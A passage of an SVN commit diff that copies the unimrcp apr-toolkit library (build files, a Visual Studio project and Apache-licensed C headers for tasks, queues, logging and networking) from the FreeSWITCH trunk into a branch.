+FILE_PATTERNS=*.h
+
+OUTPUT_DIRECTORY=docs/dox
+
+MACRO_EXPANSION=YES
+EXPAND_ONLY_PREDEF=YES
+
+PREDEFINED="APT_DECLARE(x)=x" \
+           "MPF_DECLARE(x)=x" \
+           "MRCP_DECLARE(x)=x" \
+           "RTSP_DECLARE(x)=x"
+
+OPTIMIZE_OUTPUT_FOR_C=YES
+STRIP_CODE_COMMENTS=NO
+
+FULL_PATH_NAMES=NO
+CASE_SENSE_NAMES=NO
+
+EXCLUDE_PATTERNS="*/acconfig.h" \
+                 "*/test/*" \
+                 "*/arch/*"
+
+GENERATE_HTML=YES
+GENERATE_LATEX=NO
+GENERATE_RTF=NO
+GENERATE_MAN=NO
+GENERATE_XML=NO

Copied: freeswitch/branches/seven/libs/unimrcp/libs (from rev 14471, freeswitch/trunk/libs/unimrcp/libs)

Property changes: freeswitch/branches/seven/libs/unimrcp/libs


Name: svn:ignore
   + Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/libs/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+MAINTAINERCLEANFILES   = Makefile.in
+
+SUBDIRS                = apr-toolkit mpf mrcp mrcp-signaling mrcpv2-transport mrcp-engine mrcp-server mrcp-client uni-rtsp

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit)

Property changes: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit


Name: svn:ignore
   + Makefile.in
Makefile
*.user
Debug
Release
.deps

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,45 @@
+MAINTAINERCLEANFILES 	 = Makefile.in
+
+INCLUDES                 = -I$(top_srcdir)/libs/apr-toolkit/include \
+                           $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+noinst_LTLIBRARIES       = libaprtoolkit.la
+
+include_HEADERS          = include/apt.h \
+                           include/apt_obj_list.h \
+                           include/apt_cyclic_queue.h \
+                           include/apt_task.h \
+                           include/apt_task_msg.h \
+                           include/apt_consumer_task.h \
+                           include/apt_net_server_task.h \
+                           include/apt_net_client_task.h \
+                           include/apt_pollset.h \
+                           include/apt_pool.h \
+                           include/apt_log.h \
+                           include/apt_pair.h \
+                           include/apt_string.h \
+                           include/apt_string_table.h \
+                           include/apt_text_stream.h \
+                           include/apt_net.h \
+                           include/apt_nlsml_doc.h \
+                           include/apt_dir_layout.h \
+                           include/apt_test_suite.h
+
+libaprtoolkit_la_SOURCES = src/apt_obj_list.c \
+                           src/apt_cyclic_queue.c \
+                           src/apt_task.c \
+                           src/apt_task_msg.c \
+                           src/apt_consumer_task.c \
+                           src/apt_net_server_task.c \
+                           src/apt_net_client_task.c \
+                           src/apt_pollset.c \
+                           src/apt_pool.c \
+                           src/apt_log.c \
+                           src/apt_pair.c \
+                           src/apt_string_table.c \
+                           src/apt_text_stream.c \
+                           src/apt_net.c \
+                           src/apt_nlsml_doc.c \
+                           src/apt_dir_layout.c \
+                           src/apt_test_suite.c
+                           

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/aprtoolkit.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/aprtoolkit.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/aprtoolkit.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/aprtoolkit.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/aprtoolkit.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,285 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="aprtoolkit"
+	ProjectGUID="{13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2}"
+	RootNamespace="aprtoolkit"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\apt.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\apt.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\include\apt.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_consumer_task.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_cyclic_queue.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_dir_layout.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_log.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_net.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_net_client_task.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_net_server_task.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_nlsml_doc.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_obj_list.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_pair.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_pollset.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_pool.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_string.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_string_table.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_task.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_task_msg.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_test_suite.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\apt_text_stream.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\apt_consumer_task.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_cyclic_queue.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_dir_layout.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_log.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_net.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_net_client_task.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_net_server_task.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_nlsml_doc.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_obj_list.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_pair.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_pollset.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_pool.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_string_table.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_task.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_task_msg.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_test_suite.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\apt_text_stream.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,59 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_H__
+#define __APT_H__
+
+/**
+ * @file apt.h
+ * @brief APR Toolkit Definitions
+ */ 
+
+#include <apr.h>
+#include <apr_pools.h>
+#include <apr_strings.h>
+
+#ifdef __cplusplus
+/** Begin of extern "C" block */
+#define APT_BEGIN_EXTERN_C       extern "C" {
+/** End of extern "C" block */
+#define APT_END_EXTERN_C         }
+#else
+/** Begin of extern "C" block */
+#define APT_BEGIN_EXTERN_C
+/** End of extern "C" block */
+#define APT_END_EXTERN_C
+#endif 
+
+/** Lib export/import defines (win32) */
+#ifdef WIN32
+#ifdef APT_STATIC_LIB
+#define APT_DECLARE(type)   type __stdcall
+#else
+#ifdef APT_LIB_EXPORT
+#define APT_DECLARE(type)   __declspec(dllexport) type __stdcall
+#else
+#define APT_DECLARE(type)   __declspec(dllimport) type __stdcall
+#endif
+#endif
+#else
+#define APT_DECLARE(type) type
+#endif
+
+/** Boolean value */
+typedef int apt_bool_t;
+
+#endif /*__APT_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_consumer_task.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_consumer_task.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_consumer_task.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_consumer_task.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_consumer_task.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_CONSUMER_TASK_H__
+#define __APT_CONSUMER_TASK_H__
+
+/**
+ * @file apt_consumer_task.h
+ * @brief Consumer Task Definition
+ */ 
+
+#include "apt_task.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque consumer task declaration */
+typedef struct apt_consumer_task_t apt_consumer_task_t;
+
+/**
+ * Create consumer task.
+ * @param obj the external object to associate with the task
+ * @param msg_pool the pool of task messages
+ * @param pool the pool to allocate memory from
+ */
+APT_DECLARE(apt_consumer_task_t*) apt_consumer_task_create(
+									void *obj,
+									apt_task_msg_pool_t *msg_pool,
+									apr_pool_t *pool);
+
+/**
+ * Get task base.
+ * @param task the consumer task to get base for
+ */
+APT_DECLARE(apt_task_t*) apt_consumer_task_base_get(apt_consumer_task_t *task);
+
+/**
+ * Get task vtable.
+ * @param task the consumer task to get vtable for
+ */
+APT_DECLARE(apt_task_vtable_t*) apt_consumer_task_vtable_get(apt_consumer_task_t *task);
+
+/**
+ * Get consumer task object.
+ * @param task the consumer task to get object from
+ */
+APT_DECLARE(void*) apt_consumer_task_object_get(apt_consumer_task_t *task);
+
+APT_END_EXTERN_C
+
+#endif /*__APT_CONSUMER_TASK_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_cyclic_queue.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_cyclic_queue.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_cyclic_queue.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_cyclic_queue.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_cyclic_queue.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,76 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_CYCLIC_QUEUE_H__
+#define __APT_CYCLIC_QUEUE_H__
+
+/**
+ * @file apt_cyclic_queue.h
+ * @brief Cyclic FIFO Queue of Opaque void* Objects
+ */ 
+
+#include "apt.h"
+
+APT_BEGIN_EXTERN_C
+
+#define CYCLIC_QUEUE_DEFAULT_SIZE	100
+
+/** Opaque cyclic queue declaration */
+typedef struct apt_cyclic_queue_t apt_cyclic_queue_t;
+
+/**
+ * Create cyclic queue.
+ * @param size the initial size of the queue
+ * @return the created queue
+ */
+APT_DECLARE(apt_cyclic_queue_t*) apt_cyclic_queue_create(apr_size_t size);
+
+/**
+ * Destroy cyclic queue.
+ * @param queue the queue to destroy
+ */
+APT_DECLARE(void) apt_cyclic_queue_destroy(apt_cyclic_queue_t *queue);
+
+/**
+ * Push object to the queue.
+ * @param queue the queue to push object to
+ * @param obj the object to push
+ */
+APT_DECLARE(apt_bool_t) apt_cyclic_queue_push(apt_cyclic_queue_t *queue, void *obj);
+
+/**
+ * Pop object from the queue.
+ * @param queue the queue to pop message from
+ */
+APT_DECLARE(void*) apt_cyclic_queue_pop(apt_cyclic_queue_t *queue);
+
+/**
+ * Clear the queue (remove all the elements from the queue).
+ * @param queue the queue to clear
+ */
+APT_DECLARE(void) apt_cyclic_queue_clear(apt_cyclic_queue_t *queue);
+
+/**
+ * Query whether the queue is empty.
+ * @param queue the queue to query
+ * @return TRUE if empty, otherwise FALSE
+ */
+APT_DECLARE(apt_bool_t) apt_cyclic_queue_is_empty(apt_cyclic_queue_t *queue);
+
+
+APT_END_EXTERN_C
+
+#endif /*__APT_CYCLIC_QUEUE_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_dir_layout.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_dir_layout.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_dir_layout.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_dir_layout.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_dir_layout.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,67 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_DIR_LAYOUT_H__
+#define __APT_DIR_LAYOUT_H__
+
+/**
+ * @file apt_dir_layout.h
+ * @brief Directory Layout
+ */ 
+
+#include "apt.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Directory layout declaration */
+typedef struct apt_dir_layout_t apt_dir_layout_t;
+
+/** Directory layout */
+struct apt_dir_layout_t {
+	/** Path to config dir */
+	char *conf_dir_path;
+	/** Path to plugin dir */
+	char *plugin_dir_path;
+	/** Path to log dir */
+	char *log_dir_path;
+	/** Path to data dir */
+	char *data_dir_path;
+};
+
+/**
+ * Create (allocate) the structure of default directories layout.
+ */
+APT_DECLARE(apt_dir_layout_t*) apt_default_dir_layout_create(const char *root_dir_path, apr_pool_t *pool);
+
+/**
+ * Create (allocate) the structure of custom directories layout.
+ */
+APT_DECLARE(apt_dir_layout_t*) apt_custom_dir_layout_create(
+									const char *conf_dir_path,
+									const char *plugin_dir_path,
+									const char *log_dir_path,
+									const char *data_dir_path,
+									apr_pool_t *pool);
+
+/**
+ * Construct file path with the given file name relative to data dir.
+ */
+APT_DECLARE(char*) apt_datadir_filepath_get(const apt_dir_layout_t *dir_layout, const char *file_name, apr_pool_t *pool);
+
+
+APT_END_EXTERN_C
+
+#endif /*__APT_DIR_LAYOUT_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_log.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_log.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_log.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_log.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_log.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,170 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_LOG_H__
+#define __APT_LOG_H__
+
+/**
+ * @file apt_log.h
+ * @brief Basic Logger
+ */ 
+
+#include <stdio.h>
+#include <stdarg.h>
+#include "apt.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Default max size of the log file (8Mb) */
+#define MAX_LOG_FILE_SIZE (8 * 1024 * 1024)
+/** Default max number of rotated log files */
+#define MAX_LOG_FILE_COUNT 10
+
+/** File:line mark */
+#define APT_LOG_MARK	__FILE__,__LINE__
+
+/** Format to log pointer values */
+#define APT_PTR_FMT       "0x%x"
+/** Format to log string identifiers */
+#define APT_SID_FMT       "<%s>"
+/** Format to log string identifiers and resources */
+#define APT_SIDRES_FMT    "<%s@%s>"
+/** Format to log pointers and identifiers */
+#define APT_PTRSID_FMT    APT_PTR_FMT" "APT_SID_FMT
+/** Format to log pointers, identifiers and resources */
+#define APT_PTRSIDRES_FMT APT_PTR_FMT" "APT_SIDRES_FMT
+
+
+/** Priority of log messages ordered from highest priority to lowest (rfc3164) */
+typedef enum {
+	APT_PRIO_EMERGENCY, /**< system is unusable */
+	APT_PRIO_ALERT,     /**< action must be taken immediately */
+	APT_PRIO_CRITICAL,  /**< critical condition */
+	APT_PRIO_ERROR,     /**< error condition */
+	APT_PRIO_WARNING,   /**< warning condition */
+	APT_PRIO_NOTICE,    /**< normal, but significant condition */
+	APT_PRIO_INFO,      /**< informational message */
+	APT_PRIO_DEBUG,     /**< debug-level message */
+
+	APT_PRIO_COUNT     	/**< number of priorities */
+} apt_log_priority_e;
+
+/** Header (format) of log messages */
+typedef enum {
+	APT_LOG_HEADER_NONE     = 0x00, /**< disable optional headers output */
+	APT_LOG_HEADER_DATE     = 0x01, /**< enable date output */
+	APT_LOG_HEADER_TIME     = 0x02, /**< enable time output */
+	APT_LOG_HEADER_PRIORITY = 0x04, /**< enable priority name output */
+	APT_LOG_HEADER_MARK     = 0x08, /**< enable file:line mark output */
+
+	APT_LOG_HEADER_DEFAULT  = APT_LOG_HEADER_DATE | APT_LOG_HEADER_TIME | APT_LOG_HEADER_PRIORITY
+} apt_log_header_e;
+
+/** Log output modes */
+typedef enum {
+	APT_LOG_OUTPUT_NONE     = 0x00, /**< disable logging */
+	APT_LOG_OUTPUT_CONSOLE  = 0x01, /**< enable console output */
+	APT_LOG_OUTPUT_FILE     = 0x02, /**< enable log file output */
+} apt_log_output_e;
+
+/** Opaque logger declaration */
+typedef struct apt_logger_t apt_logger_t;
+
+/** Prototype of extended log handler function */
+typedef apt_bool_t (*apt_log_ext_handler_f)(const char *file, int line, const char *id, 
+											apt_log_priority_e priority, const char *format, va_list arg_ptr);
+
+/**
+ * Create the singleton instance of the logger.
+ * @param mode the log output mode
+ * @param priority the log priority level
+ * @param pool the memory pool to use
+ */
+APT_DECLARE(apt_bool_t) apt_log_instance_create(apt_log_output_e mode, apt_log_priority_e priority, apr_pool_t *pool);
+
+/**
+ * Destroy the singleton instance of the logger.
+ */
+APT_DECLARE(apt_bool_t) apt_log_instance_destroy();
+
+/**
+ * Get the singleton instance of the logger.
+ */
+APT_DECLARE(apt_logger_t*) apt_log_instance_get();
+
+/**
+ * Set the singleton instance of the logger.
+ */
+APT_DECLARE(apt_bool_t) apt_log_instance_set(apt_logger_t *logger);
+
+/**
+ * Open the log file.
+ * @param dir_path the path to the log directory
+ * @param file_name the name of the log file
+ * @param max_file_size the max size of the log file
+ * @param max_file_count the max number of files used in log rotation
+ * @param pool the memory pool to use
+ */
+APT_DECLARE(apt_bool_t) apt_log_file_open(
+							const char *dir_path, 
+							const char *file_name, 
+							apr_size_t max_file_size, 
+							apr_size_t max_file_count, 
+							apr_pool_t *pool);
+
+/**
+ * Close the log file.
+ */
+APT_DECLARE(apt_bool_t) apt_log_file_close();
+
+/**
+ * Set the logging output.
+ * @param mode the mode to set
+ */
+APT_DECLARE(apt_bool_t) apt_log_output_mode_set(apt_log_output_e mode);
+
+/**
+ * Set the logging priority (log level).
+ * @param priority the priority to set
+ */
+APT_DECLARE(apt_bool_t) apt_log_priority_set(apt_log_priority_e priority);
+
+/**
+ * Set the header (format) for log messages.
+ * @param header the header to set (used as bitmask)
+ */
+APT_DECLARE(apt_bool_t) apt_log_header_set(int header);
+
+/**
+ * Set the extended external log handler.
+ * @param handler the handler to pass log events to
+ * @remark default logger is used to output the logs to stdout and/or log file,
+ *         if external log handler isn't set
+ */
+APT_DECLARE(apt_bool_t) apt_log_ext_handler_set(apt_log_ext_handler_f handler);
+
+/**
+ * Do logging.
+ * @param file the file name log entry is generated from
+ * @param line the line number log entry is generated from
+ * @param priority the priority of the entire log entry
+ * @param format the format of the entire log entry
+ */
+APT_DECLARE(apt_bool_t) apt_log(const char *file, int line, apt_log_priority_e priority, const char *format, ...);
+
+APT_END_EXTERN_C
+
+#endif /*__APT_LOG_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_net.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_net.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_net.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_net.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_net.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_NET_H__
+#define __APT_NET_H__
+
+/**
+ * @file apt_net.h
+ * @brief Network Utilities
+ */ 
+
+#include "apt.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Get the IP address (in numeric address string format) by hostname.
+ * @param addr the IP address
+ * @param pool the pool to allocate memory from
+ */
+apt_bool_t apt_ip_get(char **addr, apr_pool_t *pool);
+
+APT_END_EXTERN_C
+
+#endif /*__APT_NET_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_net_client_task.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_net_client_task.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/include/apt_net_client_task.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_net_client_task.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/include/apt_net_client_task.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,127 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __APT_NET_CLIENT_TASK_H__
+#define __APT_NET_CLIENT_TASK_H__
+
+/**
+ * @file apt_net_client_task.h
+ * @brief Network Client Task Base
+ */ 
+
+#include <apr_poll.h>
+#include "apt_task.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque network client task declaration */
+typedef struct apt_net_client_task_t apt_net_client_task_t;
+/** Network client connection declaration */
+typedef struct apt_net_client_connection_t apt_net_client_connection_t;
+/** Virtual table of network client events */
+typedef struct apt_net_client_vtable_t apt_net_client_vtable_t;
+
+/** Network client connection */
+struct apt_net_client_connection_t {
+	/** Memory pool */
+	apr_pool_t   *pool;
+	/** External object */
+	void         *obj;
+	/** Connected socket */
+	apr_socket_t *sock;
+	/** Socket poll descriptor */
+	apr_pollfd_t  sock_pfd;
+	/** String identifier used for traces */
+	const char   *id;
+};
+
+/** Virtual table of network client events */
+struct apt_net_client_vtable_t {
+	/** Message receive handler */
+	apt_bool_t (*on_receive)(apt_net_client_task_t *task, apt_net_client_connection_t *connection);
+};
+
+
+/**
+ * Create network client task.
+ * @param max_connection_count the number of max connections
+ * @param obj the external object
